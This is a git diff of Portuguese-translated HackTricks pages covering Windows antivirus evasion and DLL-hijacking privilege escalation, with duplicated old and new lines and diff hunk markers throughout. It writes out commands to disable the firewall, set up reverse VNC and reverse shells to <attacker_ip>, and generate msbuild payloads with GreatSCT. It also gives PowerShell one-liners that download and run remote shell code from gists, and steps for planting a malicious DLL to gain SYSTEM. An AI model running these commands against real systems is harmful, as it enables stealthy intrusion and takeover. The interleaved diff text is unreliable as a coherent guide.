<figure><img src="../.gitbook/assets/image (13).png" alt=""><figcaption><p>Verificando o ADS Zone.Identifier para um arquivo baixado da internet.</p></figcaption></figure>
<figure><img src="../.gitbook/assets/image (13) (3).png" alt=""><figcaption><p>Verificando o ADS Zone.Identifier para um arquivo baixado da internet.</p></figcaption></figure>
{% hint style="info" %}
É importante observar que os executáveis assinados com um certificado de assinatura **confiável** não acionarão o SmartScreen.
@ -271,7 +271,7 @@ Aqui está uma demonstração de como contornar o SmartScreen empacotando payloa
## Reflexão de Assembleia C#
Carregar binários C# na memória é conhecido há bastante tempo e ainda é uma ótima maneira de executar suas ferramentas de pós-exploração sem ser detectado pelo AV.
Carregar binários C# na memória é conhecido há muito tempo e ainda é uma ótima maneira de executar suas ferramentas pós-exploração sem ser detectado pelo AV.
Uma vez que o payload será carregado diretamente na memória sem tocar no disco, só teremos que nos preocupar em corrigir o AMSI para todo o processo.
@ -279,7 +279,7 @@ A maioria dos frameworks C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc,
* **Fork\&Run**
Isso envolve **iniciar um novo processo sacrificial**, injetar seu código malicioso de pós-exploração nesse novo processo, executar seu código malicioso e, quando terminar, matar o novo processo. Isso tem seus benefícios e desvantagens. O benefício do método fork and run é que a execução ocorre **fora** do nosso processo de implante Beacon. Isso significa que se algo em nossa ação de pós-exploração der errado ou for detectado, há uma **maior chance** de nosso **implante sobreviver**. A desvantagem é que você tem uma **maior chance** de ser detectado por **Detecções Comportamentais**.
Isso envolve **iniciar um novo processo sacrificial**, injetar seu código malicioso de pós-exploração nesse novo processo, executar seu código malicioso e, quando terminar, matar o novo processo. Isso tem seus benefícios e desvantagens. O benefício do método fork and run é que a execução ocorre **fora** do nosso processo de implante Beacon. Isso significa que se algo em nossa ação pós-exploração der errado ou for detectado, há uma **maior chance** de nosso **implante sobreviver**. A desvantagem é que você tem uma **maior chance** de ser detectado por **Detecções Comportamentais**.
<figure><img src="../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
@ -299,9 +299,9 @@ Você também pode carregar Assembleias C# **do PowerShell**, confira [Invoke-Sh
Conforme proposto em [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), é possível executar código malicioso usando outras linguagens, dando à máquina comprometida acesso **ao ambiente do interpretador instalado no compartilhamento SMB controlado pelo atacante**.&#x20;
Ao permitir o acesso aos Binários do Interpretador e ao ambiente no compartilhamento SMB, você pode **executar código arbitrário nessas linguagens na memória** da máquina comprometida.
Ao permitir o acesso aos binários do interpretador e ao ambiente no compartilhamento SMB, você pode **executar código arbitrário nessas linguagens na memória** da máquina comprometida.
O repositório indica: O Defender ainda verifica os scripts, mas ao utilizar Go, Java, PHP, etc., temos **mais flexibilidade para contornar assinaturas estáticas**. Testes com scripts de shell reverso não ofuscados aleatórios nessas linguagens provaram ser bem-sucedidos.
O repositório indica: O Defender ainda verifica os scripts, mas ao utilizar Go, Java, PHP, etc., temos **mais flexibilidade para contornar assinaturas estáticas**. Testes com scripts de shell reverso não ofuscados aleatórios nessas linguagens foram bem-sucedidos.
## Evasão avançada
@ -309,11 +309,11 @@ A evasão é um tópico muito complicado, às vezes você tem que levar em conta
Cada ambiente que você enfrenta terá seus próprios pontos fortes e fracos.
Eu altamente encorajo você a assistir a esta palestra de [@ATTL4S](https://twitter.com/DaniLJ94), para obter uma base em técnicas de evasão mais avançadas.
Eu recomendo fortemente que você assista a esta palestra de [@ATTL4S](https://twitter.com/DaniLJ94), para ter uma base em técnicas de evasão mais avançadas.
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
Esta é também outra ótima palestra de [@mariuszbit](https://twitter.com/mariuszbit) sobre Evasão em Profundidade.
Esta também é outra ótima palestra de [@mariuszbit](https://twitter.com/mariuszbit) sobre Evasão em Profundidade.
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
@ -331,9 +331,7 @@ sc config TlntSVR start= auto obj= localsystem
```
**Alterar a porta do telnet** (stealth) e desativar o firewall:
Para evitar a detecção de um ataque, é possível alterar a porta padrão do telnet para uma porta menos conhecida. Para fazer isso, é necessário editar o registro do Windows. O valor padrão da porta do telnet é 23, mas pode ser alterado para qualquer outra porta disponível.
Para desativar o firewall do Windows, é possível utilizar o painel de controle ou o prompt de comando. No painel de controle, basta acessar as configurações de segurança e desativar o firewall. Já no prompt de comando, é possível utilizar o comando `netsh` para desativar o firewall.
Para evitar a detecção de um ataque, é possível alterar a porta padrão do serviço Telnet para uma porta diferente. Isso dificulta a detecção do serviço pelos administradores de rede e pelos sistemas de detecção de intrusão. Além disso, desativar o firewall pode permitir que o atacante tenha acesso mais fácil ao sistema alvo. No entanto, é importante lembrar que essas ações podem comprometer a segurança do sistema e devem ser realizadas apenas em um ambiente controlado e autorizado.
```
tlntadmn config port=80
netsh advfirewall set allprofiles state off
@ -354,7 +352,7 @@ Em seguida, mova o binário _**winvnc.exe**_ e o arquivo **recém-criado** _**Ul
O **atacante** deve **executar dentro** do seu **computador** o binário `vncviewer.exe -listen 5900` para que ele esteja **preparado** para capturar uma conexão reversa do **VNC**. Em seguida, dentro da **vítima**: Inicie o daemon winvnc `winvnc.exe -run` e execute `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
**AVISO:** Para manter o sigilo, você não deve fazer algumas coisas
**ATENÇÃO:** Para manter o sigilo, você não deve fazer algumas coisas
* Não inicie o `winvnc` se ele já estiver em execução ou você irá acionar um [popup](https://i.imgur.com/1SROTTl.png). Verifique se ele está em execução com `tasklist | findstr winvnc`
* Não inicie o `winvnc` sem o `UltraVNC.ini` no mesmo diretório ou ele causará a abertura da [janela de configuração](https://i.imgur.com/rfMQWcf.png)
@ -371,22 +369,6 @@ cd ..
./GreatSCT.py
```
Dentro do GreatSCT:
O GreatSCT é uma ferramenta de código aberto que permite criar payloads personalizados e injetá-los em sistemas Windows. Ele é frequentemente usado para fins de teste de penetração e pode ser usado para contornar a detecção de antivírus.
Aqui estão algumas das principais funcionalidades do GreatSCT:
- Criação de payloads personalizados: o GreatSCT permite criar payloads personalizados para atender às suas necessidades específicas. Você pode escolher entre uma variedade de opções, incluindo o tipo de payload, o método de entrega e muito mais.
- Injeção de payloads: uma vez que você tenha criado seu payload personalizado, o GreatSCT permite injetá-lo em sistemas Windows. Isso pode ser feito de várias maneiras, incluindo por meio de um arquivo executável ou por meio de um script PowerShell.
- Bypass de antivírus: o GreatSCT é frequentemente usado para contornar a detecção de antivírus. Ele faz isso criando payloads personalizados que são projetados para evitar a detecção de antivírus.
- Suporte a várias técnicas de evasão: o GreatSCT suporta várias técnicas de evasão, incluindo a ofuscação de código e a criptografia de payloads.
- Integração com outras ferramentas: o GreatSCT pode ser integrado com outras ferramentas de teste de penetração, como o Metasploit Framework e o Empire.
Em resumo, o GreatSCT é uma ferramenta poderosa para testes de penetração em sistemas Windows. Ele permite criar payloads personalizados e injetá-los em sistemas Windows, contornando a detecção de antivírus e usando várias técnicas de evasão.
```
use 1
list #Listing available payloads
@ -396,7 +378,7 @@ sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole
```
Agora **inicie o lister** com `msfconsole -r file.rc` e **execute** o **payload xml** com:
Agora **inicie o listener** com `msfconsole -r file.rc` e **execute** o **payload xml** com:
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
```
@ -406,19 +388,17 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
#### Primeiro Revershell em C#
#### Primeiro shell reverso em C#
Compile com:
Compile-o com:
```
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
```
# Use com:
# Usando com:
Este método pode ser usado com:
Antes de começar a usar as técnicas de bypass de antivírus, é importante ter um ambiente de teste adequado. Isso pode ser feito usando uma máquina virtual ou um ambiente de teste separado. Certifique-se de que o ambiente de teste não esteja conectado à Internet e que não haja dados confidenciais armazenados nele.
- **Técnicas de injeção de código**: para injetar código malicioso em processos legítimos sem ser detectado pelo antivírus.
- **Ferramentas de pentesting**: para evitar a detecção de ferramentas de pentesting pelo antivírus.
- **Malware**: para evitar a detecção de malware pelo antivírus.
Além disso, é importante ter um conhecimento básico de programação e entender como o código funciona. Isso ajudará a entender as técnicas de bypass de antivírus e a personalizá-las para atender às suas necessidades.
```
back.exe <ATTACKER_IP> <PORT>
```
@ -494,19 +474,15 @@ namespace ConnectBack
}
}
```
[https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple\_Rev\_Shell.cs](https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple\_Rev\_Shell.cs)
### C# usando compilador
### Usando compilador C#
Este método envolve o uso do compilador C# para compilar um código malicioso em um arquivo executável. O arquivo executável pode ser executado em um sistema Windows sem a necessidade de instalar o .NET Framework. O código malicioso é um shell reverso simples que se conecta a um servidor remoto controlado pelo invasor. O compilador C# é usado para compilar o código malicioso em um arquivo executável que pode ser executado em um sistema Windows. O arquivo executável é então enviado para a vítima e executado em seu sistema. O shell reverso é estabelecido e o invasor pode controlar o sistema remotamente.
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
```
Download e execução automática:
```
powershell -nop -c "IEX(New-Object Net.WebClient).downloadString('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/REV.shell')"
```
Este comando baixa e executa automaticamente o script REV.shell, que está hospedado no repositório do GitHub do usuário BankSecurity. O script é executado sem a necessidade de interação do usuário.
O objetivo dessa técnica é fazer o download e execução automática de um arquivo malicioso sem que o antivírus detecte. Para isso, é necessário criar um arquivo REV.txt com o código malicioso e hospedá-lo em um servidor web. Em seguida, é preciso criar um arquivo REV.shell com o código que fará o download e execução automática do arquivo REV.txt. Esse arquivo deve ser salvo com extensão .bat ou .cmd para que possa ser executado no Windows. Por fim, é necessário enviar o arquivo REV.shell para a vítima e convencê-la a executá-lo. Quando o arquivo é executado, ele faz o download do arquivo REV.txt e o executa, permitindo que o invasor tenha acesso ao sistema da vítima.
```csharp
64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
@ -572,7 +548,7 @@ https://github.com/praetorian-code/vulcan
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -7,7 +7,7 @@
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -18,7 +18,7 @@ Se você descobriu que pode **escrever em uma pasta do caminho do sistema** (obs
Para fazer isso, você pode abusar de um **Dll Hijacking** em que você vai **sequestrar uma biblioteca sendo carregada** por um serviço ou processo com **mais privilégios** do que os seus, e porque esse serviço está carregando uma Dll que provavelmente nem existe em todo o sistema, ele vai tentar carregá-la do Caminho do Sistema onde você pode escrever.
Para obter mais informações sobre **o que é Dll Hijacking**, consulte:
Para mais informações sobre **o que é Dll Hijacking** confira:
{% content-ref url="../dll-hijacking.md" %}
[dll-hijacking.md](../dll-hijacking.md)
@ -30,7 +30,7 @@ Para obter mais informações sobre **o que é Dll Hijacking**, consulte:
A primeira coisa que você precisa é **identificar um processo** em execução com **mais privilégios** do que você que está tentando **carregar uma Dll do Caminho do Sistema** em que você pode escrever.
O problema nesses casos é que provavelmente esses processos já estão em execução. Para encontrar quais Dlls estão faltando nos serviços que você precisa, inicie o procmon o mais rápido possível (antes que os processos sejam carregados). Então, para encontrar as .dlls ausentes, faça o seguinte:
O problema nesses casos é que provavelmente esses processos já estão em execução. Para encontrar quais Dlls estão faltando nos serviços que você precisa lançar o procmon o mais rápido possível (antes que os processos sejam carregados). Então, para encontrar as .dlls ausentes faça:
* **Crie** a pasta `C:\privesc_hijacking` e adicione o caminho `C:\privesc_hijacking` à **variável de ambiente do Caminho do Sistema**. Você pode fazer isso **manualmente** ou com **PS**:
```powershell
@ -49,21 +49,21 @@ if ($envPath -notlike "*$folderPath*") {
[Environment]::SetEnvironmentVariable("PATH", $newPath, "Machine")
}
```
* Inicie o **`procmon`** e vá em **`Opções`** --> **`Habilitar log de inicialização`** e pressione **`OK`** na janela de prompt.
* Inicie o **`procmon`** e vá em **`Opções`** --> **`Habilitar log de inicialização`** e pressione **`OK`** na janela de confirmação.
* Em seguida, **reinicie** o computador. Quando o Windows for reiniciado, o **`procmon`** começará a **gravar** eventos imediatamente.
* Assim que o Windows for iniciado, execute o **`procmon`** novamente. Ele informará que está em execução e perguntará se você deseja armazenar os eventos em um arquivo. Responda **sim** e **armazene os eventos em um arquivo**.
* **Depois** que o **arquivo** for **gerado**, **feche** a janela do **`procmon`** aberta e **abra o arquivo de eventos**.
* Adicione esses **filtros** e você encontrará todas as DLLs que algum **processo tentou carregar** da pasta do caminho do sistema gravável:
<figure><img src="../../../.gitbook/assets/image (18).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (18) (3).png" alt=""><figcaption></figcaption></figure>
### DLLs Perdidas
### DLLs perdidas
Ao executar isso em uma **máquina virtual (vmware) Windows 11** gratuita, obtive esses resultados:
Ao executar isso em uma máquina virtual gratuita do **Windows 11 (vmware)**, obtive esses resultados:
<figure><img src="../../../.gitbook/assets/image (253).png" alt=""><figcaption></figcaption></figure>
Neste caso, os arquivos .exe são inúteis, então ignore-os. As DLLs perdidas eram de:
Nesse caso, os arquivos .exe são inúteis, então ignore-os. As DLLs perdidas eram de:
| Serviço | DLL | Linha de comando |
| --- | --- | --- |
@ -80,13 +80,13 @@ Portanto, para **escalar privilégios**, vamos sequestrar a biblioteca **WptsExt
Você pode [**tentar usar qualquer um desses exemplos**](../dll-hijacking.md#creating-and-compiling-dlls). Você pode executar payloads como: obter um shell reverso, adicionar um usuário, executar um beacon...
{% hint style="warning" %}
Observe que **nem todos os serviços são executados** com **`NT AUTHORITY\SYSTEM`**, alguns também são executados com **`NT AUTHORITY\LOCAL SERVICE`**, que tem **menos privilégios** e você **não poderá criar um novo usuário** abusando de suas permissões.\
No entanto, esse usuário tem o privilégio **`seImpersonate`**, então você pode usar o [**conjunto de ferramentas potato para escalar privilégios**](../roguepotato-and-printspoofer.md). Portanto, neste caso, um shell reverso é uma opção melhor do que tentar criar um usuário.
Observe que **nem todos os serviços são executados** com **`NT AUTHORITY\SYSTEM`**, alguns também são executados com **`NT AUTHORITY\LOCAL SERVICE`**, que tem **menos privilégios** e você **não poderá criar um novo usuário** abusar de suas permissões.\
No entanto, esse usuário tem o privilégio **`seImpersonate`**, então você pode usar o [**conjunto de ferramentas potato para escalar privilégios**](../roguepotato-and-printspoofer.md). Portanto, nesse caso, um shell reverso é uma opção melhor do que tentar criar um usuário.
{% endhint %}
No momento da escrita deste artigo, o serviço **Agendador de Tarefas** é executado com **Nt AUTHORITY\SYSTEM**.
Tendo **gerado a DLL maliciosa** (_no meu caso, usei um shell reverso x64 e consegui um shell de volta, mas o defender o matou porque era do msfvenom_), salve-a no caminho do sistema gravável com o nome **WptsExtensions.dll** e **reinicie** o computador (ou reinicie o serviço ou faça o que for necessário para executar novamente o serviço/programa afetado).
Tendo **gerado a DLL maliciosa** (_no meu caso, usei um shell reverso x64 e consegui um shell de volta, mas o defender o matou porque era do msfvenom_), salve-o no caminho do sistema gravável com o nome **WptsExtensions.dll** e **reinicie** o computador (ou reinicie o serviço ou faça o que for necessário para executar o serviço/programa afetado novamente).
Quando o serviço for reiniciado, a **DLL deve ser carregada e executada** (você pode **reutilizar** o **truque do procmon** para verificar se a **biblioteca foi carregada conforme o esperado**).
@ -97,7 +97,7 @@ Quando o serviço for reiniciado, a **DLL deve ser carregada e executada** (voc
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me no** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>